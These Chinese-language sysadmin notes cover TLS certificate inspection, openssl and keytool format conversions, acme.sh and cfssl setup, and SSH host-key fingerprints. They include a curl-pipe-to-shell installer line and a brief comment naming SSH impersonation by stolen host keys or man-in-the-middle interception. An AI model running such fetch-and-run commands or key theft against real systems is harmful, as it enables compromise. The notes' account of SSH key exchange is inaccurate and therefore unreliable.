bilibili 的证书 同时可以当客户端证书用 。这不是它需要双向认证, 而是 GlobalSign 这类商业 CA 的 OV 通用模板默认就带 clientAuth ,很多站点都这样。 bing 只留 serverAuth 是更收敛、更符合最小权限的做法。

CA/B 论坛已计划在后续版本里 禁止 服务端证书带 clientAuth , 所以新签证书建议只写 serverAuth (除非真的要做 mTLS)。

SAN:3 条 vs 80+ 条

bing 那张证书的 SAN 里塞了 80 多个域名,包含大量历史遗留的 *.live.com 系列( maps.live.com 、 news.live.com 、 ditu.live.com …)。 这是典型的"一张证书打天下",代价是:

  • 证书体积大,每次握手都要多传几 KB
  • 任何一个域名要变更,整张证书都得重签重部署
  • 泄露一次,80 多个域名一起受影响

自建 CA 时建议反过来: 按服务粒度签,SAN 只写这个服务真正用到的名字 。

协商出来的 TLS 版本和密钥交换组
bilibili:  TLSv1.3   TLS_AES_256_GCM_SHA384        Peer Temp Key: X25519, 253 bits
bing:      TLSv1.2   ECDHE-RSA-AES256-GCM-SHA384   Peer Temp Key: ECDH, secp521r1, 521 bits

bing 这个 TLS 1.2 结果连续测三次都稳定复现。它 并非不支持 1.3 —— 强制 -tls1_3 是能连上的( Verify return code: 0 (ok) ), 只是从本次测试的出口(解析到 202.89.233.101 ,即 bing 中国区节点)默认协商到了 1.2。 不同地区的边缘节点配置可能不同,这个结论不要外推。

另外,*两家都还没有启用后量子密钥交换* : bilibili 是纯 X25519,bing 是 secp521r1,都不是 X25519MLKEM768 。 而本机 OpenSSL 3.5 的客户端默认已经把 X25519MLKEM768 排在首位了(见「openssl 证书命令详解」的 PQC 一节)—— 说明目前是 客户端先行、服务端还没跟上 的阶段。

一条命令把上面的对比全跑一遍
for h in www.bilibili.com www.bing.com; do
        echo "########## $h ##########"
        openssl s_client -connect $h:443 -servername $h </dev/null 2>/dev/null \
                | openssl x509 -noout -subject -issuer -dates \
                    -ext subjectAltName,keyUsage,extendedKeyUsage
        echo "--- 证书签名算法 ---"
        openssl s_client -connect $h:443 -servername $h </dev/null 2>/dev/null \
                | openssl x509 -noout -text | grep -m1 'Signature Algorithm'
        echo "--- 握手签名算法 / 协议 / 密钥交换 ---"
        openssl s_client -connect $h:443 -servername $h -brief </dev/null 2>&1 \
                | grep -E 'Protocol version|Ciphersuite|Signature type|Temp Key'
        echo
done

实测:证书性能

OpenSSL 自带了性能评测工具,你可以使用它对系统的能力和上限进行一个大致的评定。你可以使用 speed 命令来执行评测。

# Web服务器安全考虑,你可能会关心RC4、AES、RSA、ECDH和SHA算法
openssl speed rc4 aes rsa ecdh sha

证书转换

主流Web服务软件

一般来说,主流的Web服务软件,通常都基于OpenSSL和Java两种基础密码库。

Tomcat、Weblogic、JBoss等Web服务软件,一般使用Java提供的密码库。通过 Java Development Kit (JDK)工具包中的Keytool工具,生成Java Keystore(JKS)格式的证书文件。

Apache、Nginx等Web服务软件,一般使用OpenSSL工具提供的密码库,生成PEM、 KEY、CRT等格式的证书文件。

IBM的Web服务产品,如Websphere、IBM Http Server(IHS)等,一般使用IBM产 品自带的iKeyman工具,生成KDB格式的证书文件。

微软Windows Server中的Internet Information Services(IIS)服务,使用 Windows自带的证书库生成PFX格式的证书文件。

如何判断证书文件是文本格式还是二进制格式?

您可以使用以下方法简单区分带有后缀扩展名的证书文件:

  • *.DER 或*.CER文件 : 这样的证书文件是二进制格式,只含有证书信息, 不包含私钥。
  • *.CRT文件 : 这样的证书文件可以是二进制格式,也可以是文本格式,一 般均为文本格式,功能与 *.DER 及 *.CER 证书文件相同。
  • *.PEM文件 : 这样的证书文件一般是文本格式,可以存放证书或私钥,或 者两者都包含。 *.PEM 文件 如果只包含私钥,一般用 *.KEY文件 代替。
  • *.PFX或*.P12文件 : PKCS#12 (PFX) key and certificate(s) 这样的证 书文件是二进制格式,同时包含证书和私钥,且一般有密码保护。虽然很久以 前PFX表示PKCS#12之前的版本,现在PFX常被用作PKCS#12的代名词
  • .p7b和.p7c文件 :PKCS#7 certificate(s) 这样的证书文件是二进制格式, 文件里面可以包括所需的整个证书链

您也可以使用记事本直接打开证书文件。如果显示的是规则的数字字母,例如:

—–BEGIN CERTIFICATE—–
MIIE5zCCA8+gAwIBAgIQN+whYc2BgzAogau0dc3PtzANBgkqh......
—–END CERTIFICATE—–

那么,该证书文件是文本格式的。

如果存在 ------BEGIN CERTIFICATE------ ,则说明这是一个证书文件。

如果存在 -----BEGIN RSA PRIVATE KEY----- ,则说明这是一个私钥文件。

证书格式转换

image-20210326143152617.webp

PFX(PKCS12)格式和JKS格式证书

使用JDK中自带的Keytool工具

#jks -> pfx
keytool -importkeystore -srckeystore keystore.jks -srcstoretype JKS -deststoretype PKCS12 -destkeystore keystore.p12

#pfx -> jks
keytool -importkeystore -srckeystore keystore.p12 -srcstoretype PKCS12 -deststoretype JKS -destkeystore keystore.jks 
#-deststorepass changeit -alias s1as # 证书默认密码是changeit

# 将证书转换为大多数浏览器都能识别的PKCS12文件
export MARATHON_PKCS_PASSWORD=marathonwowopass
openssl pkcs12 -name marathon  -inkey marathon.key -passin "env:MARATHON_KEY_PASSWORD" -in marathon.crt  -password "env:MARATHON_PKCS_PASSWORD" -export -out marathon.pkcs12

# PKCS12文件转JKS
export MARATHON_JKS_PASSWORD=marathonwowopass
keytool -importkeystore -srckeystore marathon.pkcs12 -srcalias marathon -srcstorepass $MARATHON_PKCS_PASSWORD -srcstoretype PKCS12 -destkeystore marathon.jks -deststorepass $MARATHON_JKS_PASSWORD

[root@xy-spacebridge-nginx001 bin]# ./keytool -importkeystore -srckeystore /root/20190417.p12 -srcstoretype PKCS12 -deststoretype JKS -destkeystore /root/iot.jks
Enter destination keystore password:  目标文件密码
Re-enter new password: 目标文件密码
Enter source keystore password:  p12文件密码
Entry for alias 1 successfully imported.
Import command completed:  1 entries successfully imported, 0 entries failed or cancelled

PEM格式与PFX格式证书

PFX 格式的证书一般出现在 Windows Server 服务器中

# 1.PEM格式-->PFX格式
除pem格式的key的密码(输出的密码不输入即可)
openssl rsa -in cert2.key -out cert22.key

# 将KEY格式密钥文件和CRT格式公钥文件转换成PFX格式证书文件。
openssl pkcs12 -export -out server.pfx -inkey server.key -in server.crt
#输出
Enter Export Password:
Verifying - Enter Export Password:
# -passout pass:changeit -name s1as # 该证书默认密码是changeit。

#指定intermedian和CA
openssl pkcs12 -export -out mypkcs12.pfx -inkey my.private.key -in mycert.crt -certfile intermediate.crt -CAfile ca.crt

# 2. PEM格式<--PFX格式
#将PFX格式证书文件转化为KEY格式密钥文件和CRT格式公钥文件

openssl pkcs12 -in server.pfx -out server.pem # server.pem证书文件
#如无需加密pem中私钥,可以添加选项-nodes;

openssl rsa -in server.pem -out server.key # KEY格式密钥文件(server.key)
openssl x509 -in server.pem -out server.crt # CRT格式公钥文件(server.crt)
openssl pkcs12 -in server.pfx -nodes -nokeys -out server.crt # 如无需导出私钥,可以添加选项-nokeys  CRT格式公钥文件(server.crt)

#提取
#提取私钥命令:
openssl pkcs12 -in certname.pfx -nocerts -out key.pem -nodes
#提取证书命令:
openssl pkcs12 -in certname.pfx -nokeys -out cert.pem

PEM格式与DER格式证书

PEM 编码的证书:

-----BEGIN CERTIFICATE-----
Base64–encoded certificate
-----END CERTIFICATE-----

PEM 编码的证书链:

-----BEGIN CERTIFICATE-----
Base64–encoded certificate
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
Base64–encoded certificate
-----END CERTIFICATE-----
-----BEGIN CERTIFICATE-----
Base64–encoded certificate
-----END CERTIFICATE-----

PEM 编码的私有密钥(仅限私有证书):

-----BEGIN RSA PRIVATE KEY-----
Base64–encoded private key
-----END RSA PRIVATE KEY-----
#PEM <--DER
openssl x509 -in cert22.cer -inform DER -out cert22.pem -outform PEM
#其它PEM <--DER
openssl rsa -in ca_private.der -inform DER -outform PEM -out ca.key
#PEM <--CER/CRT
openssl x509 -in cert2.cer -out cert2.pem -outform PEM

提取证书:openssl x509 -inform der -in certificate.cer -out certificate.pem
提取私钥:openssl rsa -inform DER -outform PEM -in privatekey.der -out privatekey.pem

#PEM -->DER
openssl x509 -in cert22.pem -inform PEM -out cert22.der -outform DER
#其它PEM -->DER
openssl rsa -in ca.key -outform DER -out ca_private.der
openssl pkcs8 -topk8 -nocrypt -inform PEM -outform DER -in ca.key -out ca_private.der
#PEM -->CER/CRT
openssl x509 -in cert22.pem -out cert22.crt

PEM格式与P7B格式证书

P7B 格式证书一般出现在 Windows Server 和 Tomcat 服务器中,

# PEM --> P7B(PEM--PKCS#7)
openssl crl2pkcs7 -nocrl -certfile certificate.cer -out certificate.p7b -certfile CACert.cer

#PEM <-- P7B(PEM--PKCS#7)
openssl pkcs7 -print_certs -in incertificat.p7b -out outcertificate.cer

# P7B--PFX(PKCS#7--PKCS#12)
openssl pkcs7 -print_certs -in certificate.p7b -out certificate.cer
openssl pkcs12 -export -in certificate.cer -inkey privateKey.key -out certificate.pfx -certfile CACert.cer


# PEM--SPC
openssl crl2pkcs7 -nocrl -certfile venus.pem -outform DER -out venus.spc

# PEM--PVK(openssl 1.x开始支持)
openssl rsa -in mycert.pem -outform PVK -pvk-strong -out mypvk.pvk
#PEM--PVK(对于openssl 1.x之前的版本,可以下载pvk转换器后通过以下命令完成)
pvk -in ca.key -out ca.pvk -nocrypt -topvk

CER格式与BKS格式证书

在Android应用中使用自定义证书,CER转BKS

首先要下载特定版本的JCE Provider包

http://www.bouncycastle.org/download/bcprov-jdk15on-146.jar

http://repo2.maven.org/maven2/org/bouncycastle/bcprov-jdk16/1.46/bcprov-jdk16-1.46.jar

keytool -importcert -v -trustcacerts -alias 位置1 -file 位置2 -keystore 位置3 -storetype BKS -providerclass org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath 位置4 -storepass 位置5

说明:

位置1:是个随便取的别名
位置2:cer或crt证书的全地址
位置3:生成后bks文件的位置,建议写全地址
位置4:上面下载JCE Provider包的位置
位置5:生成后证书的密码

注意:

  1. 注意命令中不能有换行
  2. 地址必须全地址
  3. 文件要符合java命名规范
[root@jenkins01 ca]# keytool -importcert -v -trustcacerts -alias hdzy -file /root/ca/buy/291996.pem -keystore /root/ca/buy/291996.bks -storetype BKS -providerclass org.bouncycastle.jce.provider.BouncyCastleProvider -providerpath "bcprov-jdk16-1.46.jar" -storepass qianyangyuanwang


是否信任此证书? [否]:        y                
证书已添加到密钥库中

CER和BKS格式证书文件转换

# jks 转 cert
keytool -export -alias cert0001 -keystore trust.jks -storepass 123456 -file cert0001.cer

# cert 转 jks
keytool -import -v -alias cert001 -file cert001.cer -keystore trust.jks -storepass 123456 -noprompt

keytool 是一个Java数据证书的管理工具,Keytool将密钥(key)和证书 (certificates)存在一个称为keystore的文件中在keystore里,包含两种数据:密 钥实体(Key entity)-密钥(secret key)或者是私钥和配对公钥(采用非对 称加密)可信任的证书实体(trusted certificate entries)-只包含公钥。

JDK中keytool常用参数说明(不同版本有差异,详细可参见【附录】中的官方文档链接):

-genkey 在用户主目录中创建一个默认文件”.keystore”,还会产生一个mykey的别名,mykey中包含用户的公钥、私钥和证书(在没有指定生成位置的情况下,keystore会存在用户系统默认目录)
-alias 产生别名 每个keystore都关联这一个独一无二的alias,这个alias通常不区分大小写
-keystore 指定密钥库的名称(产生的各类信息将不在.keystore文件中)
-keyalg 指定密钥的算法 (如 RSA DSA,默认值为:DSA)
-validity 指定创建的证书有效期多少天(默认 90)
-keysize 指定密钥长度 (默认 1024)
-storepass 指定密钥库的密码(获取keystore信息所需的密码)
-keypass 指定别名条目的密码(私钥的密码)
-dname 指定证书发行者信息 其中: “CN=名字与姓氏,OU=组织单位名称,O=组织名称,L=城市或区域名 称,ST=州或省份名称,C=单位的两字母国家代码”
-list 显示密钥库中的证书信息 keytool -list -v -keystore 指定keystore -storepass 密码
-v 显示密钥库中的证书详细信息
-export 将别名指定的证书导出到文件 keytool -export -alias 需要导出的别名 -keystore 指定keystore -file 指定导出的证书位置及证书名称 -storepass 密码
-file 参数指定导出到文件的文件名
-delete 删除密钥库中某条目 keytool -delete -alias 指定需删除的别 -keystore 指定keystore – storepass 密码
-printcert 查看导出的证书信息 keytool -printcert -file g:\sso\michael.crt
-keypasswd 修改密钥库中指定条目口令 keytool -keypasswd -alias 需修改的别名 -keypass 旧密码 -new 新密码 -storepass keystore密码 -keystore sage
-storepasswd 修改keystore口令 keytool -storepasswd -keystore g:\sso\michael.keystore(需修改口令的keystore) -storepass pwdold(原始密码) -new pwdnew(新密码)
-import 将已签名数字证书导入密钥库 keytool -import -alias 指定导入条目的别名 -keystore 指定keystore -file 需导入的证书

[root@dev-01 hbase-1.1.2]# cd /usr/java/jdk1.8.0_121/bin/
[root@dev-01 bin]# ./keytool

PFX格式与BKS格式证书

这里我提前生成了PFX文件

2064873_scf.baidu.net.key 私钥
2064873_scf.baidu.net.pem 证书
转p12文件命令
openssl pkcs12 -export -out 20190417.p12 -inkey 2064873_scf.baidu.net.key -in 2064873_scf.baidu.net.pem 
Enter Export Password:  p12password
Verifying - Enter Export Password: p12password

将PFX文件转换为BKS

1.请先下载第三方转换工具protecle,配置java环境

https://sourceforge.net/projects/portecle/

或者用windows版本的KeyStore Explorer来生成.jks文件。从如下地址下载安装: http://www.keystore-explorer.org/downloads.html

2.点击运行protecle.jar

image-20210326162811853.webp

3.新建BKSStore 如果你要生成JKS文件就点jks

image-20210326163459822.webp

4.导入p12密钥对,包含公钥和私钥

选择p12文件,输入p12文件的密码。如20190417.p12文件密码是p12password

image-20210326163518446.webp

5.修改别名 这里我随便写了一个

image-20210326163540182.webp

6.为客户端的私钥创建密码 比如密码是123456

image-20210326163554631.webp

7.另存为BKS

另存文件,并输入刚才设置的密码。123456。导出文件为 *.jks 或bks什么的。

image-20210326163612640.webp

BKS格式转BKS-v1格式证书

  1. Using Portecle:

    Downloads Portecle http://portecle.sourceforge.net/

    Open your bks file with the password and portecle

    Do Tools>>Change Keystore Type>>BKS-v1 Save the file

  2. You may use KeyStore Explorer

    The new file will be encoded with BKS-v1 and will not show anymore the error…. Note: Android works with differents BKS version: for instance, API 15 will require BKS-1 contrary to API 23 which require BKS, so you may need to put both files in your app.

Note 2: You can use this code:

int bks_version;
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) {
    bks_version = R.raw.publickey; //The BKS file
} else {
    bks_version = R.raw.publickey_v1; //The BKS (v-1) file
}
KeyStore ks = KeyStore.getInstance("BKS");
InputStream in = getResources().openRawResource(bks_version);  
ks.load(in, "mypass".toCharArray());

PKCS1格式与PKCS8格式证书

#默认生成PKCS1格式PEM编码私钥
openssl genrsa -out ca.key 2048

# PKCS1 转 PKCS8
openssl pkcs8 -topk8 -nocrypt -in ca.key -out ca_private.pem
# PKCS8 转 PKCS1
openssl rsa -in ca_private.pem -out ca.key

可信任免费泛域名证书Let's Encrypt

目标:

  1. 自动申请证书
  2. 证书管理,到期天数

使用Let's Encrypt 免费泛域名证书 https://letsencrypt.org/

安装客户端acme.sh

https://github.com/acmesh-official/acme.sh

curl https://get.acme.sh | sh -s email[email protected]
alias acme.sh=~/.acme.sh/acme.sh
echo 'alias acme.sh=~/.acme.sh/acme.sh' >> .bash_profile

自动为你创建 cronjob, 每天 0:00 点自动检测所有的证书, 如果快过期了,需 要更新, 则会自动更新证书.

简单使用

签发证书

acme.sh --issue -d esofar.cn -d www.esofar.cn -w /home/wwwroot/esofar.cn

# 续期
acme.sh --renew -d example.com

简单解释下这条命令涉及的几个参数:

--issue是 acme.sh 脚本用来颁发证书的指令;
-d是--domain的简称,其后面须填写已备案的域名;
-w是--webroot的简称,其后面须填写网站的根目录。
生成的证书放在了/root/.acme.sh/esofar.cn目录。

命令查看和删除证书:

# 查看证书列表
acme.sh --list 

#查看证书具体内容
openssl x509 -in /data/zhengshu/xxx.com/fullchain.cer        -noout -text

# 查看证书时间
openssl x509 -in /data/zhengshu/xx.com/fullchain.cer        -noout -dates

# 删除证书
acme.sh remove <SAN_Domains>
acme.sh  --remove -d \*.book.com
或手动删除 /home/yxz/.acme.sh/xxx.xxx 文件夹。

#生成的证书放在了/root/.acme.sh/esofar.cn目录,因为这是 acme.sh 脚本的内部使用目录,而且目录结构可能会变化,所以我们不能让 Nginx 的配置文件直接读取该目录下的证书文件。
#正确的做法就是使用--installcert命令,指定目标位置,然后证书文件会被 copy 到相应的位置。
#一条命令即可解决:
acme.sh  --installcert -d esofar.cn \
         --key-file /etc/nginx/ssl/esofar.cn.key \
         --fullchain-file /etc/nginx/ssl/fullchain.cer \
         --reloadcmd "service nginx force-reload"

更新 acme.sh

目前由于 acme 协议和 letsencrypt CA 都在频繁的更新, 因此acme.sh 也经常 更新以保持同步。

# 升级 acme.sh 到最新版:
acme.sh --upgrade
# 如果您不想手动升级,,可以开启自动升级:
acme.sh  --upgrade  --auto-upgrade
# 您也可以随时关闭自动更新:
acme.sh --upgrade  --auto-upgrade  0

Let'sEncrypt 证书更新显示 It seems the CA server is busy now 解决方法 看官方升级api接口

# 升级 acme.sh 到最新版:
acme.sh --upgrade

申请证书-dns方式

https://github.com/acmesh-official/acme.sh/wiki/dnsapi

范例:申请阿里云证书-dns方式

# 定义全局变量
export Ali_Key="LTAI4Fqcsxxxb" 
export Ali_Secret="whTtvJsQwYxxxg"
# 申请证书
~/.acme.sh/acme.sh --issue --dnssleep 10 --dns dns_ali -d qx.com -d "*.qx.com" 
# 等待...
# 续费所有证书
~/.acme.sh/acme.sh --renew-all --dnssleep 10

范例:aws route53

export  AWS_ACCESS_KEY_ID=XXXXXXXXXX
export  AWS_SECRET_ACCESS_KEY=XXXXXXXXXXXXXXX

./acme.sh --issue --dns dns_aws -d example.com -d www.example.com

#AWS_ACCESS_KEY_ID 、 AWS_SECRET_ACCESS_KEY和AWS_DNS_SLOWRATE将自动保存在~/.acme.sh/account.conf中,并在需要时重复使用。

范例:aws route53 并执行证书同步脚本

#root
groupadd acme_group
useradd -d /home/aws-ssl -g acme_group aws-ssl

mkdir /opt/acme_result
chmod 775 /opt/acme_result/
chown :acme_group /opt/acme_result/

su - aws-ssl
cd ~/.acme.sh
cat <<\EOF> create.sh 
if [ $# -ne 2 ];then
echo "请传递 域名、监听id 两个参数"
exit
fi
domain=$1
listen_id=$2
domain_dir=/opt/acme_result/${domain}
mkdir -p ${domain_dir}

./acme.sh --issue --dns dns_aws -d ${domain} -d *.${domain} -d *.qa.${domain} \
--cert-file      ${domain_dir}/cert.pem  \
--key-file       ${domain_dir}/key.pem  \
--fullchain-file ${domain_dir}/fullchain.pem \
--reloadcmd     "/opt/acme_venv/bin/python /opt/shell/deploy_aliyun_cert.py ${domain} sg ${listen_id}"
EOF

命令行中所有配置信息都保存在{域名}.conf文件中

[aws-ssl@acme-manage xxx.com]$ cat xxx.com.conf 
Le_Domain='xxx.com'
Le_Alt='*.xxx.com,*.qa.xxx.com'
Le_Webroot='dns_aws'
...
Le_RealCertPath='/opt/acme_result/xxx.com/cert.pem'
Le_RealCACertPath=''
Le_RealKeyPath='/opt/acme_result/xxx.com/key.pem'
Le_ReloadCmd='__ACME_BASE64__START_L29wdC9hY21lX3ZlbnYvYmluL3B5dGhvbiAvb3B0L3NoZWxsL2RlcGxveV9hbGl5dW5fY2VydC5weSB4eHguY29t__ACME_BASE64__END_'
Le_RealFullChainPath='/opt/acme_result/xxx.com/fullchain.pem'

[aws-ssl@acme-manage xxx.com]$ ls
backup xxx.com.cer  xxx.com.conf  xxx.com.csr  xxx.com.csr.conf  xxx.com.key  ca.cer  fullchain.cer
[aws-ssl@acme-manage xxx.com]$ echo 'L29wdC9hY21lX3ZlbnYvYmluL3B5dGhvbiAvb3B0L3NoZWxsL2RlcGxveV9hbGl5dW5fY2VydC5weSB4eHguY29t'|base64 -d
/opt/acme_venv/bin/python /opt/shell/deploy_aliyun_cert.py xxx.com

追加域名

下面命令中两个”-d”建议先输入泛域名,这样在证书里可以显示*.xx.com这样的泛域名,

~/.acme.sh/acme.sh --issue --dnssleep 10 --dns dns_ali -d yz.com -d "*.yz.com" -d "*.yf.yz.com"

续费所有证书

~/.acme.sh/acme.sh --renew-all --dnssleep 10

测试nginx的公网地址

# 申请
~/.acme.sh/acme.sh --issue --dnssleep 10    --dns dns_ali -d yz.com -d "*.yz.com" \
--installcert\
--key-file /usr/local/nginx/conf/yz.com.key \
--fullchain-file /usr/local/nginx/conf/fullchain.cer \
--reloadcmd "service nginx force-reload"
# 续费
~/.acme.sh/acme.sh --renew --dns -d ss.com -d *.ss.com

# 申请
*.xyf.com域名证书申请
~/.acme.sh/acme.sh --issue --dns dns_ali -d xyf.com-d "*.xyf.com"
# 续费
~/.acme.sh/acme.sh --renew --force --dns dns_ali    -d xyf.com    -d "*.xyf.com"

cfssl

CFSSL是CloudFlare开源的一款PKI/TLS工具。 CFSSL 包含一个命令行工具和一 个用于 签名,验证并且捆绑TLS证书的 HTTP API 服务。 使用Go语言编写。

cfssl自签证书工具集包含3个软件:

  • cfssl: 用于签发证书;
  • cfssljson: 将cfssl签发生成的证书(json格式)变成文件承载式文件;
  • cfssl-certinfo: 验证查看证书信息。

下载cfssl工具:https://pkg.cfssl.org/.

curl -s -L -o /bin/cfssl https://pkg.cfssl.org/R1.2/cfssl_linux-amd64
curl -s -L -o /bin/cfssljson https://pkg.cfssl.org/R1.2/cfssljson_linux-amd64
curl -s -L -o /bin/cfssl-certinfo https://pkg.cfssl.org/R1.2/cfssl-certinfo_linux-amd64
chmod +x /bin/cfssl*

ssh服务

ssh服务介绍

官网:https://www.openssh.com/manual.html

ssh: secure shell, protocol, 22/tcp, 安全的远程登录,代替 telnet

具体的软件实现:

  • OpenSSH: ssh协议的开源实现,CentOS默认安装
  • dropbear:另一个开源实现

SSH协议版本

  • v1: 基于CRC-32做MAC,不安全;man-in-middle
  • v2:双方主机协议选择安全的MAC方式,基于DH算法做密钥交换,基于RSA或DSA实现身份认证

公钥交换原理

image-20210120191513811.webp
image-20210120191532193.webp

主机公钥和私钥位置/etc/ssh/

# 主机公钥和私钥位置/etc/ssh/
[root@pre-prod ~]# ll /etc/ssh/
-rw-r--r--  1 root root       2284 Dec 21 15:32 ssh_config
-rw-------  1 root root       3905 Mar 18  2020 sshd_config
-rw-r-----. 1 root ssh_keys    227 Mar 17  2020 ssh_host_ecdsa_key
-rw-r--r--. 1 root root        162 Mar 17  2020 ssh_host_ecdsa_key.pub
-rw-r-----. 1 root ssh_keys   1679 Mar 17  2020 ssh_host_rsa_key
-rw-r--r--. 1 root root        382 Mar 17  2020 ssh_host_rsa_key.pub
  • 客户端发起链接请求,人为确认对方身份。如:ssh命令 ssh 10.0.1.80
  • 服务端返回自己的公钥,以及一个会话ID(这一步客户端得到服务端公钥)如 /etc/ssh/ssh_host_ecdsa_key.pub公钥文件
  • 客户端生成密钥对
  • 客户端用自己的公钥异或会话ID,计算出一个值Res,并用服务端的公钥加密
  • 客户端发送加密后的值到服务端,服务端用私钥解密,得到Res
  • 服务端用解密后的值Res异或会话ID,计算出客户端的公钥(这一步服务端得到客户端公钥)
  • 最终:双方各自持有三个秘钥,分别为自己的一对公、私钥,以及对方的公钥,之后的所有通讯都会被加密

范例:验证身份确认,哈希值

#远端服务器公钥文件
[ec2-user@ip-172-31-5-34 ~]$ ls /etc/ssh/ssh_host_e*.pub
/etc/ssh/ssh_host_ecdsa_key.pub  /etc/ssh/ssh_host_ed25519_key.pub

# 1. 确认哈希值 。第一次确定身份,之后就不用了。将公钥信息保存到了本地
#本地ssh登录无端服务
root@VM-8-13-ubuntu:~# ssh [email protected]
The authenticity of host '15.207.14.66 (15.207.14.66)' can't be established.
ED25519 key fingerprint is SHA256:M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0.  #哈希值
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes # 第一次确定身份
Warning: Permanently added '15.207.14.66' (ED25519) to the list of known hosts.
[email protected]: Permission denied (publickey,gssapi-keyex,gssapi-with-mic). #因为没做免密,所以无法登录

#交换公钥,并保存在.ssh/known_hosts文件
root@VM-8-13-ubuntu:~# cat .ssh/known_hosts |grep 15.207.14.66
15.207.14.66 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ

#如果能成功登录,会把远端/etc/ssh/ssh_host_e*.pub公钥信息和~/.ssh/id_rsa.pub公钥信息保存到本地.ssh/known_hosts文件中
#[10.3.8.13]:65522 ssh-ed25519 AAAxxxxz
#[10.3.8.13]:65522 ssh-rsa AAAAB3Nzxxxxx
#[10.3.8.13]:65522 ecdsa-sha2-nistp256 AAAAE2Vj

#查看~/.ssh/known_hosts中保存远端的指纹信息
root@VM-8-13-ubuntu:~# ssh-keygen -E sha256 -lf ~/.ssh/known_hosts
256 SHA256:M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0 15.207.14.66 (ED25519)


#对比远端公钥信息和公钥指纹(哈希值)是否和known_hosts的一样
[ec2-user@ip-172-31-5-34 ~]$ cat /etc/ssh/ssh_host_ed25519_key.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ [email protected]

[ec2-user@ip-172-31-5-34 ~]$ ssh-keygen -E sha256 -lf /etc/ssh/ssh_host_ed25519_key.pub
256 SHA256:M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0 [email protected] (ED25519)


#伪装
# 方法1 偷取目标机器的私钥/etc/ssh/ssh_host_ecdsa_key到本地重启sshd,并冒充目标ip
# 方法2 中间劫持
指纹信息-knwon_hosts

~/.ssh/known_hosts 用于存储远程主机的公钥信息,以确保用户连接到的是合法的服务器,防止中间人攻击。 这个文件中的内容通常是以一种哈希的形式存储的,这意味着即使文件被查看,也无法直接从中获取到明文的IP地址信息

格式如下

[主机名或IP地址],[可选的端口号] [密钥类型] [公钥内容]

范例

root@VM-8-13-ubuntu:~# cat .ssh/known_hosts
15.207.14.66 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ

默认保存的信息是通过密文保存的, 可修改/etc/ssh/ssh_config文件,将 HashKnownHosts 默认值 yes 改为 no,清空 known_hosts 文件,再连接服务端,就可以看到 known_hosts 已经显示 IP 地址了

指纹信息-获取公钥信息
#远程查看公钥
ssh-keyscan -t 公然类型 ip或名称

#本地公钥
ll /etc/ssh/ssh_host_e*.pub
ll ~/.ssh/id_rsa.pub

范例:

#获取远端 ssh 公钥
root@VM-8-13-ubuntu:~# ssh-keyscan  -p 22 15.207.14.66
15.207.14.66 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH8D9w22YKZ9qPtMpPh2UTxwHtblvzYpKveqj5TvtARgLUUmftv72hnDetPDaekBxe3+F776dV9DXThcFSlKIeU=
15.207.14.66 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ

root@VM-8-13-ubuntu:~# ssh-keyscan -t ed25519 -p 22 15.207.14.66
15.207.14.66 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ
root@VM-8-13-ubuntu:~# ssh-keyscan -t ECDSA -p 22 15.207.14.66
15.207.14.66 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH8D9w22YKZ9qPtMpPh2UTxwHtblvzYpKveqj5TvtARgLUUmftv72hnDetPDaekBxe3+F776dV9DXThcFSlKIeU=

#查看本地公钥
[ec2-user@ip-172-31-5-34 ~]$ cat /etc/ssh/ssh_host_ecdsa_key.pub 
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH8D9w22YKZ9qPtMpPh2UTxwHtblvzYpKveqj5TvtARgLUUmftv72hnDetPDaekBxe3+F776dV9DXThcFSlKIeU= [email protected]
[ec2-user@ip-172-31-5-34 ~]$ cat /etc/ssh/ssh_host_ed25519_key.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ [email protected]
指纹信息-公钥指纹转换

公钥指纹可以用在 git 仓库,比对用户上传的公钥信息。

ssh-keygen -E 哈希类型 -lf 公钥文件

范例

#本地公钥指纹
[ec2-user@ip-172-31-5-34 ~]$ cat /etc/ssh/ssh_host_ed25519_key.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIP4wTKbQiByeDw1xrC4SNcc6x4XBVrj+aFp1iH7lIgZ [email protected]

[ec2-user@ip-172-31-5-34 ~]$ ssh-keygen -E sha256 -lf /etc/ssh/ssh_host_ed25519_key.pub 
256 SHA256:M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0 [email protected] (ED25519)
[ec2-user@ip-172-31-5-34 ~]$ ssh-keygen -E md5 -lf /etc/ssh/ssh_host_ed25519_key.pub 
256 MD5:a3:0a:34:dc:ba:ba:a1:27:59:06:84:2f:e1:ae:38:d5 [email protected] (ED25519)

#远端公钥指纹
root@VM-8-13-ubuntu:~# ssh-keygen -E sha256 -lf ~/.ssh/known_hosts
256 SHA256:M0Trt36g+uzls7ri1/tUJBUL1h4CrgURYAF61EvTdn0 15.207.14.66 (ED25519)
root@VM-8-13-ubuntu:~# ssh-keygen -E md5 -lf ~/.ssh/known_hosts
